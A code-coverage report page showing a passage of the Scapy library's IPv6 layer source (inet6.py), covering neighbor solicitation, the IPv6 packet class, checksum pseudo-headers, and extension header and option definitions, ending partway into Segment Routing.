Coverage for /pythoncovmergedfiles/medio/medio/usr/local/lib/python3.11/site-packages/scapy/layers/inet6.py: 53%
Shortcuts on this page
r m x toggle line displays
j k next/prev highlighted chunk
0 (zero) top of page
1 (one) first highlighted chunk
1# SPDX-License-Identifier: GPL-2.0-only
2# This file is part of Scapy
3# See https://scapy.net/ for more information
4# Copyright (C) Guillaume Valadon <guedou@hongo.wide.ad.jp>
5# Copyright (C) Arnaud Ebalard <arnaud.ebalard@eads.net>
7# Cool history about this file: http://natisbad.org/scapy/index.html
10"""
11IPv6 (Internet Protocol v6).
12"""
15from hashlib import md5
16import random
17import socket
18import struct
19from time import gmtime, strftime
21from scapy.arch import get_if_hwaddr
22from scapy.as_resolvers import AS_resolver_riswhois
23from scapy.base_classes import Gen, _ScopedIP
24from scapy.compat import chb, raw, plain_str, bytes_encode
25from scapy.consts import WINDOWS, OPENBSD
26from scapy.config import conf
27from scapy.data import (
28 DLT_IPV6,
29 DLT_RAW,
30 DLT_RAW_ALT,
31 ETHER_ANY,
32 ETH_P_ALL,
33 ETH_P_IPV6,
34 MTU,
35)
36from scapy.error import log_runtime, warning
37from scapy.fields import (
38 BitEnumField,
39 BitField,
40 ByteEnumField,
41 ByteField,
42 DestIP6Field,
43 FieldLenField,
44 FlagsField,
45 IntField,
46 IP6Field,
47 LongField,
48 MACField,
49 MayEnd,
50 PacketLenField,
51 PacketListField,
52 ShortEnumField,
53 ShortField,
54 SourceIP6Field,
55 StrField,
56 StrFixedLenField,
57 StrLenField,
58 X3BytesField,
59 XBitField,
60 XByteField,
61 XIntField,
62 XShortField,
63)
64from scapy.layers.inet import (
65 _ICMPExtensionField,
66 _ICMPExtensionPadField,
67 _ICMP_extpad_post_dissection,
68 IP,
69 IPTools,
70 TCP,
71 TCPerror,
72 TracerouteResult,
73 UDP,
74 UDPerror,
75)
76from scapy.layers.l2 import (
77 CookedLinux,
78 Ether,
79 GRE,
80 Loopback,
81 SNAP,
82 SourceMACField,
83)
84from scapy.packet import bind_layers, Packet, Raw
85from scapy.sendrecv import sendp, sniff, sr, srp1
86from scapy.supersocket import SuperSocket
87from scapy.utils import checksum, strxor
88from scapy.pton_ntop import inet_pton, inet_ntop
89from scapy.utils6 import in6_getnsma, in6_getnsmac, in6_isaddr6to4, \
90 in6_isaddrllallnodes, in6_isaddrllallservers, in6_isaddrTeredo, \
91 in6_isllsnmaddr, in6_ismaddr, Net6, teredoAddrExtractInfo
92from scapy.volatile import RandInt, RandShort
94# Typing
95from typing import (
96 Optional,
97)
99if not socket.has_ipv6:
100 raise socket.error("can't use AF_INET6, IPv6 is disabled")
101if not hasattr(socket, "IPPROTO_IPV6"):
102 # Workaround for http://bugs.python.org/issue6926
103 socket.IPPROTO_IPV6 = 41
104if not hasattr(socket, "IPPROTO_IPIP"):
105 # Workaround for https://bitbucket.org/secdev/scapy/issue/5119
106 socket.IPPROTO_IPIP = 4
108if conf.route6 is None:
109 # unused import, only to initialize conf.route6
110 import scapy.route6 # noqa: F401
112##########################
113# Neighbor cache stuff #
114##########################
116conf.netcache.new_cache("in6_neighbor", 120)
119@conf.commands.register
120def neighsol(addr, src, iface, timeout=1, chainCC=0):
121 """Sends and receive an ICMPv6 Neighbor Solicitation message
123 This function sends an ICMPv6 Neighbor Solicitation message
124 to get the MAC address of the neighbor with specified IPv6 address address.
126 'src' address is used as the source IPv6 address of the message. Message
127 is sent on 'iface'. The source MAC address is retrieved accordingly.
129 By default, timeout waiting for an answer is 1 second.
131 If no answer is gathered, None is returned. Else, the answer is
132 returned (ethernet frame).
133 """
135 nsma = in6_getnsma(inet_pton(socket.AF_INET6, addr))
136 d = inet_ntop(socket.AF_INET6, nsma)
137 dm = in6_getnsmac(nsma)
138 sm = get_if_hwaddr(iface)
139 p = Ether(dst=dm, src=sm) / IPv6(dst=d, src=src, hlim=255)
140 p /= ICMPv6ND_NS(tgt=addr)
141 p /= ICMPv6NDOptSrcLLAddr(lladdr=sm)
142 res = srp1(p, type=ETH_P_IPV6, iface=iface, timeout=timeout, verbose=0,
143 chainCC=chainCC)
145 return res
148@conf.commands.register
149def getmacbyip6(ip6, chainCC=0):
150 # type: (str, int) -> Optional[str]
151 """
152 Returns the MAC address of the next hop used to reach a given IPv6 address.
154 neighborCache.get() method is used on instantiated neighbor cache.
155 Resolution mechanism is described in associated doc string.
157 (chainCC parameter value ends up being passed to sending function
158 used to perform the resolution, if needed)
160 .. seealso:: :func:`~scapy.layers.l2.getmacbyip` for IPv4.
161 """
162 # Sanitize the IP
163 if isinstance(ip6, Net6):
164 ip6 = str(ip6)
166 # Multicast
167 if in6_ismaddr(ip6): # mcast @
168 mac = in6_getnsmac(inet_pton(socket.AF_INET6, ip6))
169 return mac
171 scope = ip6.scope if isinstance(ip6, _ScopedIP) else None
172 iff, a, nh = conf.route6.route(ip6, dev=scope)
174 if iff == conf.loopback_name:
175 return "ff:ff:ff:ff:ff:ff"
177 if nh != '::':
178 ip6 = nh # Found next hop
180 cache_key = "%s%%%s" % (ip6, iff) if scope is not None else ip6
182 mac = conf.netcache.in6_neighbor.get(cache_key)
183 if mac:
184 return mac
186 res = neighsol(ip6, a, iff, chainCC=chainCC)
188 if res is not None:
189 if ICMPv6NDOptDstLLAddr in res:
190 mac = res[ICMPv6NDOptDstLLAddr].lladdr
191 else:
192 mac = res.src
193 conf.netcache.in6_neighbor[cache_key] = mac
194 return mac
196 return None
199#############################################################################
200#############################################################################
201# IPv6 Class #
202#############################################################################
203#############################################################################
205ipv6nh = {0: "Hop-by-Hop Option Header",
206 4: "IP",
207 6: "TCP",
208 17: "UDP",
209 41: "IPv6",
210 43: "Routing Header",
211 44: "Fragment Header",
212 47: "GRE",
213 50: "ESP Header",
214 51: "AH Header",
215 58: "ICMPv6",
216 59: "No Next Header",
217 60: "Destination Option Header",
218 112: "VRRP",
219 132: "SCTP",
220 135: "Mobility Header"}
222ipv6nhcls = {0: "IPv6ExtHdrHopByHop",
223 4: "IP",
224 6: "TCP",
225 17: "UDP",
226 43: "IPv6ExtHdrRouting",
227 44: "IPv6ExtHdrFragment",
228 50: "ESP",
229 51: "AH",
230 58: "ICMPv6Unknown",
231 59: "Raw",
232 60: "IPv6ExtHdrDestOpt"}
235class IP6ListField(StrField):
236 __slots__ = ["count_from", "length_from"]
237 islist = 1
239 def __init__(self, name, default, count_from=None, length_from=None):
240 if default is None:
241 default = []
242 StrField.__init__(self, name, default)
243 self.count_from = count_from
244 self.length_from = length_from
246 def i2len(self, pkt, i):
247 return 16 * len(i)
249 def i2count(self, pkt, i):
250 if isinstance(i, list):
251 return len(i)
252 return 0
254 def getfield(self, pkt, s):
255 c = tmp_len = None
256 if self.length_from is not None:
257 tmp_len = self.length_from(pkt)
258 elif self.count_from is not None:
259 c = self.count_from(pkt)
261 lst = []
262 ret = b""
263 remain = s
264 if tmp_len is not None:
265 remain, ret = s[:tmp_len], s[tmp_len:]
266 while remain:
267 if c is not None:
268 if c <= 0:
269 break
270 c -= 1
271 if len(remain) < 16:
272 # not enough bytes for a full IPv6 address: a truncated or
273 # misaligned list. Leave the remainder for the next layer
274 # instead of feeding a short buffer to inet_ntop().
275 break
276 addr = inet_ntop(socket.AF_INET6, remain[:16])
277 lst.append(addr)
278 remain = remain[16:]
279 return remain + ret, lst
281 def i2m(self, pkt, x):
282 s = b""
283 for y in x:
284 try:
285 y = inet_pton(socket.AF_INET6, y)
286 except Exception:
287 y = socket.getaddrinfo(y, None, socket.AF_INET6)[0][-1][0]
288 y = inet_pton(socket.AF_INET6, y)
289 s += y
290 return s
292 def i2repr(self, pkt, x):
293 s = []
294 if x is None:
295 return "[]"
296 for y in x:
297 s.append('%s' % y)
298 return "[ %s ]" % (", ".join(s))
301class _IPv6GuessPayload:
302 name = "Dummy class that implements guess_payload_class() for IPv6"
304 def default_payload_class(self, p):
305 if self.nh == 58: # ICMPv6
306 t = p[0]
307 if len(p) > 2 and (t == 139 or t == 140): # Node Info Query
308 return _niquery_guesser(p)
309 if len(p) >= icmp6typesminhdrlen.get(t, float("inf")): # Other ICMPv6 messages # noqa: E501
310 if t == 130 and len(p) >= 28:
311 # RFC 3810 - 8.1. Query Version Distinctions
312 return ICMPv6MLQuery2
313 return icmp6typescls.get(t, Raw)
314 return Raw
315 elif self.nh == 135 and len(p) > 3: # Mobile IPv6
316 return _mip6_mhtype2cls.get(p[2], MIP6MH_Generic)
317 elif self.nh == 43 and p[2] == 4: # Segment Routing header
318 return IPv6ExtHdrSegmentRouting
319 return ipv6nhcls.get(self.nh, Raw)
322class IPv6(_IPv6GuessPayload, Packet, IPTools):
323 name = "IPv6"
324 fields_desc = [BitField("version", 6, 4),
325 BitField("tc", 0, 8),
326 BitField("fl", 0, 20),
327 ShortField("plen", None),
328 ByteEnumField("nh", 59, ipv6nh),
329 ByteField("hlim", 64),
330 SourceIP6Field("src"),
331 DestIP6Field("dst", "::1")]
333 def route(self):
334 """Used to select the L2 address"""
335 dst = self.dst
336 scope = None
337 if isinstance(dst, (Net6, _ScopedIP)):
338 scope = dst.scope
339 if isinstance(dst, (Gen, list)):
340 dst = next(iter(dst))
341 return conf.route6.route(dst, dev=scope)
343 def mysummary(self):
344 return "%s > %s (%i)" % (self.src, self.dst, self.nh)
346 def post_build(self, p, pay):
347 p += pay
348 if self.plen is None:
349 tmp_len = len(p) - 40
350 p = p[:4] + struct.pack("!H", tmp_len) + p[6:]
351 return p
353 def extract_padding(self, data):
354 """Extract the IPv6 payload"""
356 if self.plen == 0 and self.nh == 0 and len(data) >= 8:
357 # Extract Hop-by-Hop extension length
358 hbh_len = data[1]
359 hbh_len = 8 + hbh_len * 8
361 # Extract length from the Jumbogram option
362 # Note: the following algorithm take advantage of the Jumbo option
363 # mandatory alignment (4n + 2, RFC2675 Section 2)
364 jumbo_len = None
365 idx = 0
366 offset = 4 * idx + 2
367 while offset <= len(data):
368 opt_type = data[offset]
369 if opt_type == 0xc2: # Jumbo option
370 jumbo_len = struct.unpack("I", data[offset + 2:offset + 2 + 4])[0] # noqa: E501
371 break
372 offset = 4 * idx + 2
373 idx += 1
375 if jumbo_len is None:
376 log_runtime.info("Scapy did not find a Jumbo option")
377 jumbo_len = 0
379 tmp_len = hbh_len + jumbo_len
380 else:
381 tmp_len = self.plen
383 return data[:tmp_len], data[tmp_len:]
385 def hashret(self):
386 if self.nh == 58 and isinstance(self.payload, _ICMPv6):
387 if self.payload.type < 128:
388 return self.payload.payload.hashret()
389 elif (self.payload.type in [133, 134, 135, 136, 144, 145]):
390 return struct.pack("B", self.nh) + self.payload.hashret()
392 if not conf.checkIPinIP and self.nh in [4, 41]: # IP, IPv6
393 return self.payload.hashret()
395 nh = self.nh
396 sd = self.dst
397 ss = self.src
398 if self.nh == 43 and isinstance(self.payload, IPv6ExtHdrRouting):
399 # With routing header, the destination is the last
400 # address of the IPv6 list if segleft > 0
401 nh = self.payload.nh
402 try:
403 sd = self.addresses[-1]
404 except IndexError:
405 sd = '::1'
406 # TODO: big bug with ICMPv6 error messages as the destination of IPerror6 # noqa: E501
407 # could be anything from the original list ...
408 if 1:
409 sd = inet_pton(socket.AF_INET6, sd)
410 for a in self.addresses:
411 a = inet_pton(socket.AF_INET6, a)
412 sd = strxor(sd, a)
413 sd = inet_ntop(socket.AF_INET6, sd)
415 if self.nh == 43 and isinstance(self.payload, IPv6ExtHdrSegmentRouting): # noqa: E501
416 # With segment routing header (rh == 4), the destination is
417 # the first address of the IPv6 addresses list
418 try:
419 sd = self.addresses[0]
420 except IndexError:
421 sd = self.dst
423 if self.nh == 44 and isinstance(self.payload, IPv6ExtHdrFragment):
424 nh = self.payload.nh
426 if self.nh == 0 and isinstance(self.payload, IPv6ExtHdrHopByHop):
427 nh = self.payload.nh
429 if self.nh == 60 and isinstance(self.payload, IPv6ExtHdrDestOpt):
430 foundhao = None
431 for o in self.payload.options:
432 if isinstance(o, HAO):
433 foundhao = o
434 if foundhao:
435 ss = foundhao.hoa
436 nh = self.payload.nh # XXX what if another extension follows ?
438 if conf.checkIPsrc and conf.checkIPaddr and not in6_ismaddr(sd):
439 sd = inet_pton(socket.AF_INET6, sd)
440 ss = inet_pton(socket.AF_INET6, ss)
441 return strxor(sd, ss) + struct.pack("B", nh) + self.payload.hashret() # noqa: E501
442 else:
443 return struct.pack("B", nh) + self.payload.hashret()
445 def answers(self, other):
446 if not conf.checkIPinIP: # skip IP in IP and IPv6 in IP
447 if self.nh in [4, 41]:
448 return self.payload.answers(other)
449 if isinstance(other, IPv6) and other.nh in [4, 41]:
450 return self.answers(other.payload)
451 if isinstance(other, IP) and other.proto in [4, 41]:
452 return self.answers(other.payload)
453 if not isinstance(other, IPv6): # self is reply, other is request
454 return False
455 if conf.checkIPaddr:
456 # ss = inet_pton(socket.AF_INET6, self.src)
457 sd = inet_pton(socket.AF_INET6, self.dst)
458 os = inet_pton(socket.AF_INET6, other.src)
459 od = inet_pton(socket.AF_INET6, other.dst)
460 # request was sent to a multicast address (other.dst)
461 # Check reply destination addr matches request source addr (i.e
462 # sd == os) except when reply is multicasted too
463 # XXX test mcast scope matching ?
464 if in6_ismaddr(other.dst):
465 if in6_ismaddr(self.dst):
466 if ((od == sd) or
467 (in6_isaddrllallnodes(self.dst) and in6_isaddrllallservers(other.dst))): # noqa: E501
468 return self.payload.answers(other.payload)
469 return False
470 if (os == sd):
471 return self.payload.answers(other.payload)
472 return False
473 elif (sd != os): # or ss != od): <- removed for ICMP errors
474 return False
475 if self.nh == 58 and isinstance(self.payload, _ICMPv6) and self.payload.type < 128: # noqa: E501
476 # ICMPv6 Error message -> generated by IPv6 packet
477 # Note : at the moment, we jump the ICMPv6 specific class
478 # to call answers() method of erroneous packet (over
479 # initial packet). There can be cases where an ICMPv6 error
480 # class could implement a specific answers method that perform
481 # a specific task. Currently, don't see any use ...
482 return self.payload.payload.answers(other)
483 elif other.nh == 0 and isinstance(other.payload, IPv6ExtHdrHopByHop):
484 return self.payload.answers(other.payload)
485 elif other.nh == 44 and isinstance(other.payload, IPv6ExtHdrFragment):
486 return self.payload.answers(other.payload.payload)
487 elif other.nh == 43 and isinstance(other.payload, IPv6ExtHdrRouting):
488 return self.payload.answers(other.payload.payload) # Buggy if self.payload is a IPv6ExtHdrRouting # noqa: E501
489 elif other.nh == 43 and isinstance(other.payload, IPv6ExtHdrSegmentRouting): # noqa: E501
490 return self.payload.answers(other.payload.payload) # Buggy if self.payload is a IPv6ExtHdrRouting # noqa: E501
491 elif other.nh == 60 and isinstance(other.payload, IPv6ExtHdrDestOpt):
492 # Extension Headers can show weird behavior.
493 # Linux's sk_buff considers the IPv6 Payload
494 # to be either TCP, UDP or ICMP. It does not
495 # consider Extension Headers to be the payload.
496 # Following similar architecture, this small
497 # modification lets packet flow with Destination
498 # Option on both, request and response packets
499 # be captured as well.
500 if UDP in self and UDP in other:
501 return self[UDP].answers(other[UDP])
502 elif TCP in self and TCP in other:
503 return self[TCP].answers(other[TCP])
504 else:
505 return self.payload.answers(other.payload.payload)
506 elif self.nh == 60 and isinstance(self.payload, IPv6ExtHdrDestOpt): # BU in reply to BRR, for instance # noqa: E501
507 return self.payload.payload.answers(other.payload)
508 else:
509 if (self.nh != other.nh):
510 return False
511 return self.payload.answers(other.payload)
514class IPv46(IP, IPv6):
515 """
516 This class implements a dispatcher that is used to detect the IP version
517 while parsing Raw IP pcap files.
518 """
519 name = "IPv4/6"
521 @classmethod
522 def dispatch_hook(cls, _pkt=None, *_, **kargs):
523 if _pkt:
524 if _pkt[0] >> 4 == 6:
525 return IPv6
526 elif kargs.get("version") == 6:
527 return IPv6
528 return IP
531def inet6_register_l3(l2, l3):
532 """
533 Resolves the default L2 destination address when IPv6 is used.
534 """
535 return getmacbyip6(l3.dst)
538conf.neighbor.register_l3(Ether, IPv6, inet6_register_l3)
541class IPerror6(IPv6):
542 name = "IPv6 in ICMPv6"
544 def answers(self, other):
545 if not isinstance(other, IPv6):
546 return False
547 sd = inet_pton(socket.AF_INET6, self.dst)
548 ss = inet_pton(socket.AF_INET6, self.src)
549 od = inet_pton(socket.AF_INET6, other.dst)
550 os = inet_pton(socket.AF_INET6, other.src)
552 # Make sure that the ICMPv6 error is related to the packet scapy sent
553 if isinstance(self.underlayer, _ICMPv6) and self.underlayer.type < 128:
555 # find upper layer for self (possible citation)
556 selfup = self.payload
557 while selfup is not None and isinstance(selfup, _IPv6ExtHdr):
558 selfup = selfup.payload
560 # find upper layer for other (initial packet). Also look for RH
561 otherup = other.payload
562 request_has_rh = False
563 while otherup is not None and isinstance(otherup, _IPv6ExtHdr):
564 if isinstance(otherup, IPv6ExtHdrRouting):
565 request_has_rh = True
566 otherup = otherup.payload
568 if ((ss == os and sd == od) or # < Basic case
569 (ss == os and request_has_rh)):
570 # ^ Request has a RH : don't check dst address
572 # Let's deal with possible MSS Clamping
573 if (isinstance(selfup, TCP) and
574 isinstance(otherup, TCP) and
575 selfup.options != otherup.options): # seems clamped
577 # Save fields modified by MSS clamping
578 old_otherup_opts = otherup.options
579 old_otherup_cksum = otherup.chksum
580 old_otherup_dataofs = otherup.dataofs
581 old_selfup_opts = selfup.options
582 old_selfup_cksum = selfup.chksum
583 old_selfup_dataofs = selfup.dataofs
585 # Nullify them
586 otherup.options = []
587 otherup.chksum = 0
588 otherup.dataofs = 0
589 selfup.options = []
590 selfup.chksum = 0
591 selfup.dataofs = 0
593 # Test it and save result
594 s1 = raw(selfup)
595 s2 = raw(otherup)
596 tmp_len = min(len(s1), len(s2))
597 res = s1[:tmp_len] == s2[:tmp_len]
599 # recall saved values
600 otherup.options = old_otherup_opts
601 otherup.chksum = old_otherup_cksum
602 otherup.dataofs = old_otherup_dataofs
603 selfup.options = old_selfup_opts
604 selfup.chksum = old_selfup_cksum
605 selfup.dataofs = old_selfup_dataofs
607 return res
609 s1 = raw(selfup)
610 s2 = raw(otherup)
611 tmp_len = min(len(s1), len(s2))
612 return s1[:tmp_len] == s2[:tmp_len]
614 return False
616 def mysummary(self):
617 return Packet.mysummary(self)
620#############################################################################
621#############################################################################
622# Upper Layer Checksum computation #
623#############################################################################
624#############################################################################
626class PseudoIPv6(Packet): # IPv6 Pseudo-header for checksum computation
627 name = "Pseudo IPv6 Header"
628 fields_desc = [IP6Field("src", "::"),
629 IP6Field("dst", "::"),
630 IntField("uplen", None),
631 BitField("zero", 0, 24),
632 ByteField("nh", 0)]
635def in6_pseudoheader(nh, u, plen):
636 # type: (int, IP, int) -> PseudoIPv6
637 """
638 Build an PseudoIPv6 instance as specified in RFC 2460 8.1
640 This function operates by filling a pseudo header class instance
641 (PseudoIPv6) with:
642 - Next Header value
643 - the address of _final_ destination (if some Routing Header with non
644 segleft field is present in underlayer classes, last address is used.)
645 - the address of _real_ source (basically the source address of an
646 IPv6 class instance available in the underlayer or the source address
647 in HAO option if some Destination Option header found in underlayer
648 includes this option).
649 - the length is the length of provided payload string ('p')
651 :param nh: value of upper layer protocol
652 :param u: upper layer instance (TCP, UDP, ICMPv6*, ). Instance must be
653 provided with all under layers (IPv6 and all extension headers,
654 for example)
655 :param plen: the length of the upper layer and payload
656 """
657 ph6 = PseudoIPv6()
658 ph6.nh = nh
659 rthdr = 0
660 hahdr = 0
661 final_dest_addr_found = 0
662 while u is not None and not isinstance(u, IPv6):
663 if (isinstance(u, IPv6ExtHdrRouting) and
664 u.segleft != 0 and len(u.addresses) != 0 and
665 final_dest_addr_found == 0):
666 rthdr = u.addresses[-1]
667 final_dest_addr_found = 1
668 elif (isinstance(u, IPv6ExtHdrSegmentRouting) and
669 u.segleft != 0 and len(u.addresses) != 0 and
670 final_dest_addr_found == 0):
671 rthdr = u.addresses[0]
672 final_dest_addr_found = 1
673 elif (isinstance(u, IPv6ExtHdrDestOpt) and (len(u.options) == 1) and
674 isinstance(u.options[0], HAO)):
675 hahdr = u.options[0].hoa
676 u = u.underlayer
677 if u is None:
678 warning("No IPv6 underlayer to compute checksum. Leaving null.")
679 return None
680 if hahdr:
681 ph6.src = hahdr
682 else:
683 ph6.src = u.src
684 if rthdr:
685 ph6.dst = rthdr
686 else:
687 ph6.dst = u.dst
688 ph6.uplen = plen
689 return ph6
692def in6_chksum(nh, u, p):
693 """
694 As Specified in RFC 2460 - 8.1 Upper-Layer Checksums
696 See also `.in6_pseudoheader`
698 :param nh: value of upper layer protocol
699 :param u: upper layer instance (TCP, UDP, ICMPv6*, ). Instance must be
700 provided with all under layers (IPv6 and all extension headers,
701 for example)
702 :param p: the payload of the upper layer provided as a string
703 """
704 ph6 = in6_pseudoheader(nh, u, len(p))
705 if ph6 is None:
706 return 0
707 ph6s = raw(ph6)
708 return checksum(ph6s + p)
711#############################################################################
712#############################################################################
713# Extension Headers #
714#############################################################################
715#############################################################################
717nh_clserror = {socket.IPPROTO_TCP: TCPerror,
718 socket.IPPROTO_UDP: UDPerror}
721# Inherited by all extension header classes
722class _IPv6ExtHdr(_IPv6GuessPayload, Packet):
723 name = 'Abstract IPv6 Option Header'
724 aliastypes = [IPv6]
726 def guess_payload_class(self, payload):
727 if self.nh in nh_clserror:
728 underlayer = self.underlayer
729 while underlayer:
730 if isinstance(underlayer, IPerror6):
731 return nh_clserror[self.nh]
732 underlayer = underlayer.underlayer
733 return super(_IPv6ExtHdr, self).guess_payload_class(payload)
736# IPv6 options for Extension Headers #
738_hbhopts = {0x00: "Pad1",
739 0x01: "PadN",
740 0x04: "Tunnel Encapsulation Limit",
741 0x05: "Router Alert",
742 0x06: "Quick-Start",
743 0xc2: "Jumbo Payload",
744 0xc9: "Home Address Option"}
747class _OTypeField(ByteEnumField):
748 """
749 Modified BytEnumField that displays information regarding the IPv6 option
750 based on its option type value (What should be done by nodes that process
751 the option if they do not understand it ...)
753 It is used by Jumbo, Pad1, PadN, RouterAlert, HAO options
754 """
755 pol = {0x00: "00: skip",
756 0x40: "01: discard",
757 0x80: "10: discard+ICMP",
758 0xC0: "11: discard+ICMP not mcast"}
760 enroutechange = {0x00: "0: Don't change en-route",
761 0x20: "1: May change en-route"}
763 def i2repr(self, pkt, x):
764 s = self.i2s.get(x, repr(x))
765 polstr = self.pol[(x & 0xC0)]
766 enroutechangestr = self.enroutechange[(x & 0x20)]
767 return "%s [%s, %s]" % (s, polstr, enroutechangestr)
770class HBHOptUnknown(Packet): # IPv6 Hop-By-Hop Option
771 name = "Scapy6 Unknown Option"
772 fields_desc = [_OTypeField("otype", 0x01, _hbhopts),
773 FieldLenField("optlen", None, length_of="optdata", fmt="B"),
774 StrLenField("optdata", "",
775 length_from=lambda pkt: pkt.optlen)]
777 def alignment_delta(self, curpos): # By default, no alignment requirement
778 """
779 As specified in section 4.2 of RFC 2460, every options has
780 an alignment requirement usually expressed xn+y, meaning
781 the Option Type must appear at an integer multiple of x octets
782 from the start of the header, plus y octets.
784 That function is provided the current position from the
785 start of the header and returns required padding length.
786 """
787 return 0
789 @classmethod
790 def dispatch_hook(cls, _pkt=None, *args, **kargs):
791 if _pkt:
792 o = _pkt[0] # Option type
793 if o in _hbhoptcls:
794 return _hbhoptcls[o]
795 return cls
797 def extract_padding(self, p):
798 return b"", p
801class Pad1(Packet): # IPv6 Hop-By-Hop Option
802 name = "Pad1"
803 fields_desc = [_OTypeField("otype", 0x00, _hbhopts)]
805 def alignment_delta(self, curpos): # No alignment requirement
806 return 0
808 def extract_padding(self, p):
809 return b"", p
812class PadN(Packet): # IPv6 Hop-By-Hop Option
813 name = "PadN"
814 fields_desc = [_OTypeField("otype", 0x01, _hbhopts),
815 FieldLenField("optlen", None, length_of="optdata", fmt="B"),
816 StrLenField("optdata", "",
817 length_from=lambda pkt: pkt.optlen)]
819 def alignment_delta(self, curpos): # No alignment requirement
820 return 0
822 def extract_padding(self, p):
823 return b"", p
826class RouterAlert(Packet): # RFC 2711 - IPv6 Hop-By-Hop Option
827 name = "Router Alert"
828 fields_desc = [_OTypeField("otype", 0x05, _hbhopts),
829 ByteField("optlen", 2),
830 ShortEnumField("value", None,
831 {0: "Datagram contains a MLD message",
832 1: "Datagram contains RSVP message",
833 2: "Datagram contains an Active Network message", # noqa: E501
834 68: "NSIS NATFW NSLP",
835 69: "MPLS OAM",
836 65535: "Reserved"})]
837 # TODO : Check IANA has not defined new values for value field of RouterAlertOption # noqa: E501
838 # TODO : Now that we have that option, we should do something in MLD class that need it # noqa: E501
839 # TODO : IANA has defined ranges of values which can't be easily represented here. # noqa: E501
840 # iana.org/assignments/ipv6-routeralert-values/ipv6-routeralert-values.xhtml
842 def alignment_delta(self, curpos): # alignment requirement : 2n+0
843 x = 2
844 y = 0
845 delta = x * ((curpos - y + x - 1) // x) + y - curpos
846 return delta
848 def extract_padding(self, p):
849 return b"", p
852class RplOption(Packet): # RFC 6553 - RPL Option
853 name = "RPL Option"
854 fields_desc = [_OTypeField("otype", 0x63, _hbhopts),
855 ByteField("optlen", 4),
856 BitField("Down", 0, 1),
857 BitField("RankError", 0, 1),
858 BitField("ForwardError", 0, 1),
859 BitField("unused", 0, 5),
860 XByteField("RplInstanceId", 0),
861 XShortField("SenderRank", 0)]
863 def alignment_delta(self, curpos): # alignment requirement : 2n+0
864 x = 2
865 y = 0
866 delta = x * ((curpos - y + x - 1) // x) + y - curpos
867 return delta
869 def extract_padding(self, p):
870 return b"", p
873class Jumbo(Packet): # IPv6 Hop-By-Hop Option
874 name = "Jumbo Payload"
875 fields_desc = [_OTypeField("otype", 0xC2, _hbhopts),
876 ByteField("optlen", 4),
877 IntField("jumboplen", None)]
879 def alignment_delta(self, curpos): # alignment requirement : 4n+2
880 x = 4
881 y = 2
882 delta = x * ((curpos - y + x - 1) // x) + y - curpos
883 return delta
885 def extract_padding(self, p):
886 return b"", p
889class HAO(Packet): # IPv6 Destination Options Header Option
890 name = "Home Address Option"
891 fields_desc = [_OTypeField("otype", 0xC9, _hbhopts),
892 ByteField("optlen", 16),
893 IP6Field("hoa", "::")]
895 def alignment_delta(self, curpos): # alignment requirement : 8n+6
896 x = 8
897 y = 6
898 delta = x * ((curpos - y + x - 1) // x) + y - curpos
899 return delta
901 def extract_padding(self, p):
902 return b"", p
905_hbhoptcls = {0x00: Pad1,
906 0x01: PadN,
907 0x05: RouterAlert,
908 0x63: RplOption,
909 0xC2: Jumbo,
910 0xC9: HAO}
913# Hop-by-Hop Extension Header #
915class _OptionsField(PacketListField):
916 __slots__ = ["curpos"]
918 def __init__(self, name, default, cls, curpos, *args, **kargs):
919 self.curpos = curpos
920 PacketListField.__init__(self, name, default, cls, *args, **kargs)
922 def i2len(self, pkt, i):
923 return len(self.i2m(pkt, i))
925 def i2m(self, pkt, x):
926 autopad = None
927 try:
928 autopad = getattr(pkt, "autopad") # Hack : 'autopad' phantom field
929 except Exception:
930 autopad = 1
932 if not autopad:
933 return b"".join(map(bytes, x))
935 curpos = self.curpos
936 s = b""
937 for p in x:
938 d = p.alignment_delta(curpos)
939 curpos += d
940 if d == 1:
941 s += raw(Pad1())
942 elif d != 0:
943 s += raw(PadN(optdata=b'\x00' * (d - 2)))
944 pstr = raw(p)
945 curpos += len(pstr)
946 s += pstr
948 # Let's make the class including our option field
949 # a multiple of 8 octets long
950 d = curpos % 8
951 if d == 0:
952 return s
953 d = 8 - d
954 if d == 1:
955 s += raw(Pad1())
956 elif d != 0:
957 s += raw(PadN(optdata=b'\x00' * (d - 2)))
959 return s
961 def addfield(self, pkt, s, val):
962 return s + self.i2m(pkt, val)
965class _PhantomAutoPadField(ByteField):
966 def addfield(self, pkt, s, val):
967 return s
969 def getfield(self, pkt, s):
970 return s, 1
972 def i2repr(self, pkt, x):
973 if x:
974 return "On"
975 return "Off"
978class IPv6ExtHdrHopByHop(_IPv6ExtHdr):
979 name = "IPv6 Extension Header - Hop-by-Hop Options Header"
980 fields_desc = [ByteEnumField("nh", 59, ipv6nh),
981 FieldLenField("len", None, length_of="options", fmt="B",
982 adjust=lambda pkt, x: (x + 2 + 7) // 8 - 1),
983 _PhantomAutoPadField("autopad", 1), # autopad activated by default # noqa: E501
984 _OptionsField("options", [], HBHOptUnknown, 2,
985 length_from=lambda pkt: (8 * (pkt.len + 1)) - 2)] # noqa: E501
986 overload_fields = {IPv6: {"nh": 0}}
989# Destination Option Header #
991class IPv6ExtHdrDestOpt(_IPv6ExtHdr):
992 name = "IPv6 Extension Header - Destination Options Header"
993 fields_desc = [ByteEnumField("nh", 59, ipv6nh),
994 FieldLenField("len", None, length_of="options", fmt="B",
995 adjust=lambda pkt, x: (x + 2 + 7) // 8 - 1),
996 _PhantomAutoPadField("autopad", 1), # autopad activated by default # noqa: E501
997 _OptionsField("options", [], HBHOptUnknown, 2,
998 length_from=lambda pkt: (8 * (pkt.len + 1)) - 2)] # noqa: E501
999 overload_fields = {IPv6: {"nh": 60}}
1002# Routing Header #
1004class IPv6ExtHdrRouting(_IPv6ExtHdr):
1005 name = "IPv6 Option Header Routing"
1006 fields_desc = [ByteEnumField("nh", 59, ipv6nh),
1007 FieldLenField("len", None, count_of="addresses", fmt="B",
1008 adjust=lambda pkt, x:2 * x), # in 8 bytes blocks # noqa: E501
1009 ByteField("type", 0),
1010 ByteField("segleft", None),
1011 BitField("reserved", 0, 32), # There is meaning in this field ... # noqa: E501
1012 IP6ListField("addresses", [],
1013 length_from=lambda pkt: 8 * pkt.len)]
1014 overload_fields = {IPv6: {"nh": 43}}
1016 def post_build(self, pkt, pay):
1017 if self.segleft is None:
1018 pkt = pkt[:3] + struct.pack("B", len(self.addresses)) + pkt[4:]
1019 return _IPv6ExtHdr.post_build(self, pkt, pay)
1022# Segment Routing Header #
1024# This implementation is based on RFC8754, but some older snippets come from:
1025# https://tools.ietf.org/html/draft-ietf-6man-segment-routing-header-06
1027_segment_routing_header_tlvs = {
1028 # RFC 8754 sect 8.2
